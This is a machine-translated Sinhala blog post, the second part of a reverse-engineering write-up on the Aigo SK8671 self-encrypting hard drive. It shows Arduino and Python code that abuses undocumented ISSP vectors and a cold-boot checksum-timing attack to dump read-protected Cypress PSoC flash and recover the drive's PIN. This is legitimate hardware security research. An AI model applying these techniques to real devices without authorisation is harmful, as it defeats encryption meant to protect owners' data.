ProHoster > බ්ලොග් > පරිපාලනය > Aigo ස්වයං-සංකේතනය කරන බාහිර HDD ධාවකය ආපසු හැරවීම සහ හැක් කිරීම. 2 කොටස: Cypress PSoC වෙතින් ඩම්ප් එකක් ගැනීම

Aigo ස්වයං-සංකේතනය කරන බාහිර HDD ධාවකය ආපසු හැරවීම සහ හැක් කිරීම. 2 කොටස: Cypress PSoC වෙතින් ඩම්ප් එකක් ගැනීම

බාහිර ස්වයං-සංකේතන ධාවක හැක් කිරීම පිළිබඳ ලිපියේ දෙවන සහ අවසාන කොටස මෙයයි. සගයෙකු මෑතකදී මට දේශප්‍රේමී (Aigo) SK8671 දෘඪ තැටියක් ගෙනා බව මම ඔබට මතක් කර දෙන්නෙමි, මම එය ආපසු හැරවීමට තීරණය කළෙමි, දැන් මම එයින් ලැබුණු දේ බෙදා ගනිමි. වැඩිදුර කියවීමට පෙර, කියවීමට වග බලා ගන්න පළමු කොටස ලිපි.

4. අපි අභ්යන්තර PSoC ෆ්ලෑෂ් ධාවකයෙන් ඩම්ප් එකක් ගැනීමට පටන් ගනිමු
5. ISSP ප්රොටෝකෝලය
- 5.1. ISSP යනු කුමක්ද?
- 5.2. දෛශික විනාශ කිරීම
- 5.3. PSoC සමඟ සන්නිවේදනය
- 5.4. ඔන්-චිප් රෙජිස්ටර් හඳුනා ගැනීම
- 5.5. ආරක්ෂක බිටු
6. පළමු (අසාර්ථක) ප්‍රහාරය: ROMX
7. දෙවන ප්‍රහාරය: Cold Boot Tracing
- 7.1. ක්රියාත්මක කිරීම
- 7.2. ප්රතිඵලය කියවීම
- 7.3. ෆ්ලෑෂ් ද්විමය ප්‍රතිසංස්කරණය
- 7.4. PIN කේත ගබඩා ලිපිනය සොයා ගැනීම
- 7.5. කුට්ටි අංක 126 ඩම්ප් එකක් ගැනීම
- 7.6. PIN කේතය ප්රතිසාධනය
8. ඊළඟට කුමක් ද?
9. නිගමනය

Aigo ස්වයං-සංකේතනය කරන බාහිර HDD ධාවකය ආපසු හැරවීම සහ හැක් කිරීම. 2 කොටස: Cypress PSoC වෙතින් ඩම්ප් එකක් ගැනීම


4. අපි අභ්යන්තර PSoC ෆ්ලෑෂ් ධාවකයෙන් ඩම්ප් එකක් ගැනීමට පටන් ගනිමු

එබැවින්, සෑම දෙයක්ම පෙන්නුම් කරන්නේ (අපි [පළමු කොටස]() හි ස්ථාපිත කර ඇති පරිදි) PIN කේතය PSoC හි ෆ්ලෑෂ් ගැඹුරේ ගබඩා කර ඇති බවයි. එමනිසා, අපි මෙම ෆ්ලෑෂ් ගැඹුර කියවිය යුතුය. අවශ්ය කාර්යයේ ඉදිරිපස:

  • ක්ෂුද්ර පාලකය සමඟ "සන්නිවේදනය" පාලනය කිරීම;
  • මෙම "සන්නිවේදනය" පිටතින් කියවීමෙන් ආරක්ෂා වී ඇත්දැයි පරීක්ෂා කිරීමට ක්රමයක් සොයා ගන්න;
  • ආරක්ෂාව මඟ හැරීමට මාර්ගයක් සොයා ගන්න.

වලංගු PIN කේතයක් සෙවීම අර්ථවත් වන ස්ථාන දෙකක් තිබේ:

  • අභ්යන්තර ෆ්ලෑෂ් මතකය;
  • SRAM, පරිශීලකයා විසින් ඇතුලත් කරන ලද පින් කේතය සමඟ සංසන්දනය කිරීමට පින් කේතය ගබඩා කළ හැක.

ඉදිරිය දෙස බලන විට, ISSP ප්‍රොටෝකෝලයේ ලේඛනගත නොකළ හැකියාවන් ආපසු හැරවීමෙන් පසු, “සීතල ඇරඹුම් ලුහුබැඳීම” නම් දෘඩාංග ප්‍රහාරයක් භාවිතා කරමින් එහි ආරක්ෂක පද්ධතිය මඟ හරිමින් - අභ්‍යන්තර PSoC ෆ්ලෑෂ් ඩ්‍රයිව් ඩම්ප් එකක් ගැනීමට මම තවමත් සමත් වූ බව සටහන් කරමි. මෙය මට සත්‍ය PIN කේතය කෙලින්ම බැහැර කිරීමට ඉඩ දුන්නේය.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

අවසාන වැඩසටහන් කේතය:

5. ISSP ප්රොටෝකෝලය

5.1 ISSP යනු කුමක්ද?

ක්ෂුද්‍ර පාලකයක් සමඟ "සන්නිවේදනය" යන්නෙන් විවිධ දේ අදහස් විය හැක: "වෙළෙන්දා සිට වෙළෙන්දා දක්වා" සිට අනුක්‍රමික ප්‍රොටෝකෝලයක් භාවිතයෙන් අන්තර්ක්‍රියා කිරීම දක්වා (උදාහරණයක් ලෙස, Microchip හි PIC සඳහා ICSP).

මේ සඳහා සයිප්‍රස් සතුව තමන්ගේම හිමිකාර ප්‍රොටෝකෝලය ඇත, එය ISSP (පද්ධති තුළ අනුක්‍රමික වැඩසටහන්කරණ ප්‍රොටෝකෝලය) ලෙස හැඳින්වේ, එය අර්ධ වශයෙන් විස්තර කර ඇත. තාක්ෂණික පිරිවිතර. පේටන්ට් US7185162 යම් තොරතුරු ද ලබා දෙයි. HSSP නමින් OpenSource සමානකමක් ද ඇත (අපි එය ටිකක් පසුව භාවිතා කරමු). ISSP පහත පරිදි ක්රියා කරයි:

  • PSoC නැවත ආරම්භ කරන්න;
  • මෙම PSoC හි අනුක්‍රමික දත්ත පින් එකට මැජික් අංකය ප්‍රතිදානය කරන්න; බාහිර ක්‍රමලේඛන මාදිලියට ඇතුළු වීමට;
  • විධාන යවන්න, ඒවා "දෛශික" ලෙස හඳුන්වන දිගු බිට් නූල් වේ.

ISSP ප්‍රලේඛනය මෙම දෛශික නිර්වචනය කරන්නේ කුඩා විධාන කිහිපයක් සඳහා පමණි:

  • ආරම්භ කිරීම-1
  • ආරම්භ කිරීම-2
  • Initialize-3 (3V සහ 5V විකල්ප)
  • හැඳුනුම්පත-සැකසීම
  • කියවන්න-ID-WORD
  • SET-BLOCK-NUM: 10011111010ddddddd111, මෙහි dddddddd=block #
  • තොග මකන්න
  • වැඩසටහන-බ්ලොක්
  • සත්‍යාපනය-සැකසීම
  • කියවන්න-බයිට්: 10110aaaaZDDDDDDDDZ1, DDDDDDDD = දත්ත අවසන්, aaaaaa = ලිපිනය (බිටු 6)
  • ලියන්න-බයිට්: 10010aaaaaddddddd111, dddddddd = දත්ත තුළ, aaaaaa = ලිපිනය (බිටු 6)
  • ආරක්ෂිතයි
  • චෙක්සම්-සැකසුම
  • කියවන්න-පරීක්ෂා කිරීම්: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, DDDDDDDDDDDDDDD = දත්ත ඉවත්: උපාංග පිරික්සුම්
  • මකන්න බ්ලොක්

උදාහරණයක් ලෙස, Initialize-2 සඳහා දෛශිකය:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

සියලුම දෛශික වලට සමාන දිගක් ඇත: බිටු 22. HSSP ප්‍රලේඛනයේ ISSP පිළිබඳ අමතර තොරතුරු කිහිපයක් ඇත: "ISSP දෛශිකයක් යනු උපදෙස් මාලාවක් නියෝජනය කරන බිටු අනුපිළිවෙලකට වඩා වැඩි දෙයක් නොවේ."

5.2 දෛශික විනාශ කිරීම

අපි බලමු මෙතන මොකද වෙන්නේ කියලා. මුලදී, මෙම දෛශික M8C උපදෙස් වල අමු අනුවාදයන් බව මම උපකල්පනය කළෙමි, නමුත් මෙම උපකල්පනය පරීක්ෂා කිරීමෙන් පසුව, මෙහෙයුම් වල opcodes නොගැලපෙන බව මම සොයා ගතිමි.

පස්සේ මම උඩ දෛශිකය ගූගල් කරලා බැලුවා මෙය කතුවරයා විස්තරාත්මකව නොගියද, ප්‍රයෝජනවත් උපදෙස් කිහිපයක් ලබා දෙන අධ්‍යයනයක්: “සෑම උපදෙස්ම ආරම්භ වන්නේ මතක සටහන් හතරෙන් එකකට අනුරූප වන බිටු තුනකින් (RAM වලින් කියවන්න, RAM වෙත ලියන්න, රෙජිස්ටර් කියවන්න, ලේඛනය කියවන්න). ඉන්පසුව ලිපින බිටු 8 ක්, පසුව දත්ත බිටු 8 ක් (කියවීමට හෝ ලිවීමට) සහ අවසානයේ නැවතුම් බිටු තුනක් ඇත.

එවිට මට Supervisory ROM (SROM) අංශයෙන් ඉතා ප්‍රයෝජනවත් තොරතුරු කිහිපයක් ලබා ගැනීමට හැකි විය. තාක්ෂණික අත්පොත. SROM යනු PSoC හි දෘඪ-කේතගත ROM එකක් වන අතර එය පරිශීලක අවකාශයේ ක්‍රියාත්මක වන ක්‍රමලේඛ කේතය සඳහා උපයෝගිතා කාර්යයන් (Syscall ට සමාන ආකාරයකින්) සපයයි:

  • පැය 00:SWBootReset
  • පැය 01: ReadBlock
  • පැය 02: WriteBlock
  • පැය 03: EraseBlock
  • පැය 06: වගුව කියවන්න
  • පැය 07: චෙක්සම්
  • පැය 08: ක්‍රමාංකනය 0
  • පැය 09: ක්‍රමාංකනය 1

දෛශික නාමයන් SROM ශ්‍රිතවලට සංසන්දනය කිරීමෙන්, මෙම ප්‍රොටෝකෝලය මඟින් සහය දක්වන විවිධ මෙහෙයුම් අපේක්ෂිත SROM පරාමිතිවලට සිතියම්ගත කළ හැක. මෙයට ස්තූතියි, අපට ISSP දෛශිකවල පළමු බිටු තුන විකේතනය කළ හැකිය:

  • 100 => "wrem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => "rdreg"

කෙසේ වෙතත්, චිප් ක්‍රියාවලීන් පිළිබඳ සම්පූර්ණ අවබෝධයක් ලබා ගත හැක්කේ PSoC සමඟ සෘජු සන්නිවේදනය හරහා පමණි.

5.3 PSoC සමඟ සන්නිවේදනය

Dirk Petrautsky දැනටමත් සිට ඇත ported Arduino මත Cypress හි HSSP කේතය, මම යතුරු පුවරුවේ ISSP සම්බන්ධකය වෙත සම්බන්ධ වීමට Arduino Uno භාවිතා කළෙමි.

මගේ පර්යේෂණය අතරතුර, මම ඩර්ක්ගේ කේතය තරමක් වෙනස් කළ බව කරුණාවෙන් සලකන්න. ඔබට GitHub හි මගේ වෙනස් කිරීම සොයාගත හැකිය: මෙහි සහ Arduino සමඟ සන්නිවේදනය සඳහා අනුරූප Python පිටපත මගේ ගබඩාවේ cypress_psoc_tools.

ඉතින්, Arduino භාවිතා කරමින්, මම මුලින්ම "සන්නිවේදනය" සඳහා "නිල" දෛශික පමණක් භාවිතා කළෙමි. මම VERIFY විධානය භාවිතයෙන් අභ්‍යන්තර ROM කියවීමට උත්සාහ කළෙමි. බලාපොරොත්තු වූ පරිදි, මට මෙය කිරීමට නොහැකි විය. ෆ්ලෑෂ් ඩ්‍රයිව් එක තුළ කියවීමේ ආරක්ෂණ බිටු සක්‍රිය කර ඇති නිසා විය හැකිය.

ඊට පස්සේ මම මගේම සරල දෛශික කිහිපයක් නිර්මාණය කළා මතකය/ලේඛන ලිවීම සහ කියවීම සඳහා. ෆ්ලෑෂ් ඩ්‍රයිව් එක ආරක්‍ෂිත වුවද අපට සම්පූර්ණ SROM කියවිය හැකි බව කරුණාවෙන් සලකන්න!

5.4 ඔන්-චිප් රෙජිස්ටර් හඳුනා ගැනීම

“විසන්ධි කරන ලද” දෛශික දෙස බැලීමෙන් පසුව, ආරක්‍ෂාව මඟ හරිමින් සෘජුවම ක්‍රියාත්මක වන M0C opcodes සඳහන් කිරීමට උපාංගය ලේඛනගත නොකළ රෙජිස්ටර් (8xF0-8xFA) භාවිතා කරන බව මම සොයා ගතිමි. මෙය මට "ADD", "MOV A, X", "PUSH" හෝ "JMP" වැනි විවිධ opcodes ධාවනය කිරීමට ඉඩ ලබා දුන්නේය. ඔවුන්ට ස්තූතියි (ඔවුන් රෙජිස්ටර් වල ඇති අතුරු ආබාධ දෙස බැලීමෙන්) මට ලේඛනගත නොකළ ලේඛනවලින් ඇත්ත වශයෙන්ම සාමාන්‍ය රෙජිස්ටර් (A, X, SP සහ PC) මොනවාද යන්න තීරණය කිරීමට හැකි විය.

එහි ප්‍රතිඵලයක් වශයෙන්, HSSP_disas.rb මෙවලම මගින් ජනනය කරන ලද “විසන්ධි කරන ලද” කේතය මෙලෙස දිස්වේ (පැහැදිලි බව සඳහා මම අදහස් එක් කළෙමි):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5 ආරක්ෂක බිටු

මෙම අදියරේදී මට දැනටමත් PSoC සමඟ සන්නිවේදනය කළ හැකිය, නමුත් තවමත් ෆ්ලෑෂ් ධාවකයේ ආරක්ෂක බිටු පිළිබඳ විශ්වසනීය තොරතුරු නොමැත. ආරක්ෂාව සක්‍රිය කර ඇත්දැයි පරීක්ෂා කිරීමට සයිප්‍රස් උපාංගයේ පරිශීලකයාට කිසිදු ක්‍රමයක් ලබා නොදීම ගැන මම පුදුමයට පත් විය. ඩර්ක් ඔහුගේ වෙනස් කිරීම නිකුත් කිරීමෙන් පසුව සයිප්‍රස් විසින් සපයන ලද HSSP කේතය යාවත්කාලීන කරන ලද බව අවසානයේ තේරුම් ගැනීමට මම Google වෙත ගැඹුරට හාරා බැලුවෙමි. ඉතිං මොක ද! මෙම නව දෛශිකය දර්ශනය වී ඇත:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

මෙම දෛශිකය භාවිතා කරමින් (psoc.py හි read_security_data බලන්න), අපි SRAM හි සියලුම ආරක්ෂක බිටු 0x80 ට ලබා ගනිමු, එහිදී ආරක්ෂිත බ්ලොක් එකකට බිටු දෙකක් ඇත.

ප්රතිඵලය මානසික අවපීඩනය: සෑම දෙයක්ම "බාහිර කියවීම සහ ලිවීම අක්රිය කරන්න" ආකාරයෙන් ආරක්ෂා කර ඇත. එමනිසා, අපට ෆ්ලෑෂ් ඩ්‍රයිව් එකකින් කිසිවක් කියවිය නොහැක, නමුත් අපට කිසිවක් ලිවිය නොහැක (උදාහරණයක් ලෙස, එහි ROM ඩම්පර් ස්ථාපනය කිරීමට). ආරක්ෂාව අක්‍රිය කිරීමට ඇති එකම ක්‍රමය නම් සම්පූර්ණ චිපය සම්පූර්ණයෙන්ම මකා දැමීමයි. 🙁

6. පළමු (අසාර්ථක) ප්‍රහාරය: ROMX

කෙසේ වෙතත්, අපට පහත උපක්‍රමය උත්සාහ කළ හැකිය: අපට අත්තනෝමතික opcodes ක්‍රියාත්මක කිරීමේ හැකියාව ඇති බැවින්, ෆ්ලෑෂ් මතකය කියවීමට භාවිතා කරන ROMX ක්‍රියාත්මක නොකරන්නේ මන්ද? මෙම ප්රවේශය සාර්ථක වීමට හොඳ අවස්ථාවක් ඇත. මක්නිසාද යත් SROM වෙතින් දත්ත කියවන ReadBlock ශ්‍රිතය (දෛශික විසින් භාවිතා කරනු ලබන) එය ISSP වෙතින් කැඳවන්නේද යන්න පරීක්ෂා කරයි. කෙසේ වෙතත්, ROMX opcode හි එවැනි චෙක්පතක් නොතිබිය හැකිය. ඉතින් මෙන්න පයිතන් කේතය (Arduino කේතයට උපකාරක පන්ති කිහිපයක් එකතු කිරීමෙන් පසු):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

අවාසනාවකට මෙම කේතය ක්‍රියා නොකරයි. 🙁 නැතහොත් එය ක්‍රියා කරයි, නමුත් ප්‍රතිදානයේදී අපට අපගේම opcodes (0x28 0x30 0x40) ලැබේ! උපාංගයේ අනුරූප ක්රියාකාරිත්වය කියවීමේ ආරක්ෂාවේ අංගයක් බව මම නොසිතමි. මෙය ඉංජිනේරු උපක්‍රමයක් වැනි ය: බාහිර opcodes ක්‍රියාත්මක කරන විට, ROM බසය තාවකාලික බෆරයකට හරවා යවනු ලැබේ.

7. දෙවන ප්‍රහාරය: Cold Boot Tracing

ROMX උපක්‍රමය ක්‍රියා නොකළ නිසා, මම මෙම උපක්‍රමයේ තවත් වෙනසක් ගැන සිතන්නට පටන් ගතිමි - ප්‍රකාශනයේ විස්තර කර ඇත "ක්ෂුද්‍ර පාලකයේ ස්ථිරාංග ආරක්ෂණය මත ඕනෑවට වඩා ආලෝකය වැගිරීම".

7.1. ක්රියාත්මක කිරීම

ISSP ලේඛනය CHECKSUM-SETUP සඳහා පහත දෛශිකය සපයයි:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

ප්‍රලේඛනයේ (ඇල අකුරු පතලේ) ඉදිරිපත් කර ඇති පරිදි මෙය අත්‍යවශ්‍යයෙන්ම SROM ශ්‍රිතය 0x07 ලෙස හඳුන්වයි.

මෙම කාර්යය චෙක්සම් සත්‍යාපනය. එය බිට් 16 චෙක්සම් එකක් ගණනය කරයි, එක් ෆ්ලෑෂ් බැංකුවක පරිශීලක-නිශ්චිත බ්ලොක් ගණන බිංදුවෙන් ආරම්භ වේ. BLOCKID පරාමිතිය චෙක්සම් ගණනය කිරීමේදී භාවිතා කරන බ්ලොක් ගණන සම්මත කිරීමට භාවිතා කරයි. "1" අගයක් බ්ලොක් ශුන්‍ය සඳහා චෙක්සම් පමණක් ගණනය කරනු ඇත; එහිදී "0" මගින් ෆ්ලෑෂ් බැංකුවේ සියලුම කොටස් 256 හි සම්පූර්ණ චෙක්සම් ගණනය කිරීමට හේතු වේ. 16-bit චෙක්සම් KEY1 සහ KEY2 හරහා ආපසු එවනු ලැබේ. KEY1 පරාමිතිය චෙක්සම් වල පහත් ගණයේ බිටු 8 ගබඩා කරයි, සහ KEY2 පරාමිතිය ඉහළ ගණයේ බිටු 8 ගබඩා කරයි. ෆ්ලෑෂ් බැංකු කිහිපයක් සහිත උපාංග සඳහා, චෙක්සම් කාර්යය එක් එක් සඳහා වෙන වෙනම කැඳවනු ලැබේ. එය ක්‍රියා කරන බැංකු අංකය FLS_PR1 ලේඛනය මඟින් සකසා ඇත (ඉලක්ක ෆ්ලෑෂ් බැංකුවට අනුරූප වන බිට් එක සැකසීමෙන්).

මෙය සරල චෙක්සම් එකක් බව සලකන්න: බයිට් සරලව එකින් එක එකතු කරනු ලැබේ; විචිත්‍රවත් CRC අමුතුකම් නැත. ඊට අමතරව, M8C හරයේ ඉතා කුඩා රෙජිස්ටර් කට්ටලයක් ඇති බව දැන, චෙක්සම් ගණනය කිරීමේදී, අතරමැදි අගයන් අවසානයේ ප්‍රතිදානයට යන විචල්‍යයන් තුළම සටහන් වනු ඇතැයි මම උපකල්පනය කළෙමි: KEY1 (0xF8) / KEY2 ( 0xF9).

එබැවින් න්‍යායාත්මකව මගේ ප්‍රහාරය මේ ආකාරයෙන් පෙනේ:

  1. අපි ISSP හරහා සම්බන්ධ වෙනවා.
  2. අපි චෙක්සම් ගණනය කිරීම ආරම්භ කරන්නේ CHECKSUM-SETUP දෛශිකය භාවිතා කරමිනි.
  3. නිශ්චිත කාලයකට පසු අපි ප්‍රොසෙසරය නැවත ආරම්භ කරමු T.
  4. වත්මන් චෙක්සම් C ලබා ගැනීම සඳහා අපි RAM කියවමු.
  5. පියවර 3 සහ 4 නැවත නැවත කරන්න, සෑම අවස්ථාවකදීම T ටිකක් වැඩි කරන්න.
  6. අපි ෆ්ලෑෂ් ඩ්‍රයිව් එකකින් දත්ත නැවත ලබාගන්නේ දැනට තිබෙන චෙක්සම් C අඩුකිරීමෙන්.

කෙසේ වෙතත්, ගැටලුවක් තිබේ: නැවත පණගැන්වීමෙන් පසු අප යැවිය යුතු Initialize-1 දෛශිකය KEY1 සහ KEY2 නැවත ලියයි:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

මෙම කේතය Calibrate1 (SROM ශ්‍රිතය 9) ඇමතීමෙන් අපගේ වටිනා චෙක්සම් නැවත ලියයි... සමහර විට අපට ක්‍රමලේඛන මාදිලියට ඇතුළු වීමට මැජික් අංකය (ඉහත කේතයේ ආරම්භයේ සිට) යවා, පසුව SRAM කියවිය හැකිද? හා ඔව්, එය ක්රියා කරයි! මෙම ප්‍රහාරය ක්‍රියාත්මක කරන Arduino කේතය ඉතා සරලයි:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. checkum_delay කියවන්න.
  2. චෙක්සම් ගණනය ක්‍රියාත්මක කරන්න (send_checksum_v).
  3. නිශ්චිත කාලයක් සඳහා රැඳී සිටින්න; පහත සඳහන් අන්තරායන් සැලකිල්ලට ගනිමින්:
    • එය සිදු වන්නේ කුමක්දැයි සොයා ගන්නා තෙක් මම බොහෝ කාලයක් නාස්ති කළෙමි ප්‍රමාද මයික්‍රො තත්පර 16383 μs නොඉක්මවන ප්රමාදයන් සමඟ පමණක් නිවැරදිව ක්රියා කරයි;
    • ඉන්පසුව ක්ෂුද්‍ර තත්පර ප්‍රමාදය, ආදානයක් ලෙස එයට 0 ලබා දුන්නොත්, සම්පූර්ණයෙන්ම වැරදි ලෙස ක්‍රියා කරන බව මම සොයා ගන්නා තෙක් එම කාලයම නැවත මරා දැමුවා!
  4. PSoC ක්‍රමලේඛන ප්‍රකාරයට නැවත ආරම්භ කරන්න (ආරම්භක දෛශික යැවීමෙන් තොරව අපි මැජික් අංකය යවන්නෙමු).

පයිතන් හි අවසාන කේතය:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

කෙටියෙන් කිවහොත්, මෙම කේතය කරන්නේ කුමක්ද:

  1. PSoC නැවත ආරම්භ කරයි (සහ එය මැජික් අංකයක් යවයි).
  2. සම්පූර්ණ ආරම්භක දෛශික යවයි.
  3. Arduino ශ්‍රිතය Cmnd_STK_START_CSUM (0x85) අමතයි, එහිදී මයික්‍රො තත්පර වල ප්‍රමාදය පරාමිතියක් ලෙස සම්මත වේ.
  4. චෙක්සම් (0xF8 සහ 0xF9) සහ ලේඛනගත නොකළ ලේඛනය 0xF1 කියවයි.

මෙම කේතය මයික්‍රෝ තත්පර 10 කින් 1 වතාවක් ක්‍රියාත්මක වේ. 0xF1 මෙහි ඇතුළත් කර ඇත්තේ චෙක්සම් ගණනය කිරීමේදී වෙනස් වූ එකම ලේඛනය එය වූ බැවිනි. සමහර විට එය අංක ගණිත තාර්කික ඒකකය විසින් භාවිතා කරන යම් ආකාරයක තාවකාලික විචල්‍යයක් විය හැකිය. Arduino ජීවයේ සලකුනු පෙන්වීම නැවැත්වූ විට picocom භාවිතා කර Arduino නැවත සැකසීමට මා භාවිතා කරන කැත හැක් එක සටහන් කරන්න (ඒ මන්දැයි නොදනී).

7.2 ප්රතිඵලය කියවීම

පයිතන් ස්ක්‍රිප්ටයේ ප්‍රතිඵලය මෙසේය (කියවීමේ හැකියාව සඳහා සරල කර ඇත):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

එසේ පැවසුවහොත්, අපට ගැටලුවක් ඇත: අපි සත්‍ය චෙක්සම් සමඟ ක්‍රියාත්මක වන බැවින්, ශුන්‍ය බයිටයක් කියවීමේ අගය වෙනස් නොකරයි. කෙසේ වෙතත්, සම්පූර්ණ ගණනය කිරීමේ ක්‍රියා පටිපාටිය (බයිට් 8192) තත්පර 0,1478 ක් (එය ධාවනය වන සෑම අවස්ථාවකම සුළු වෙනස්කම් සහිතව), එය බයිටයකට ආසන්න වශයෙන් 18,04 μs ට සමාන වන බැවින්, අපට සුදුසු වේලාවන්හි චෙක්සම් අගය පරීක්ෂා කිරීමට මෙම කාලය භාවිතා කළ හැකිය. පළමු ධාවනය සඳහා, ගණනය කිරීමේ ක්රියා පටිපාටියේ කාලසීමාව සෑම විටම පාහේ සමාන වන බැවින්, සියල්ල ඉතා පහසුවෙන් කියවිය හැකිය. කෙසේ වෙතත්, මෙම ඩම්ප් එකේ අවසානය අඩු නිරවද්‍ය වන්නේ එක් එක් ධාවනයේදී "සුළු කාල අපගමනයන්" සැලකිය යුතු බවට එකතු වන බැවිනි:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

එය සෑම මයික්‍රෝ තත්පර ප්‍රමාදයක් සඳහාම ඩම්ප් 10කි. ෆ්ලෑෂ් ධාවකයේ සියලුම බයිට් 8192 ඩම්ප් කිරීම සඳහා සම්පූර්ණ මෙහෙයුම් කාලය පැය 48 ක් පමණ වේ.

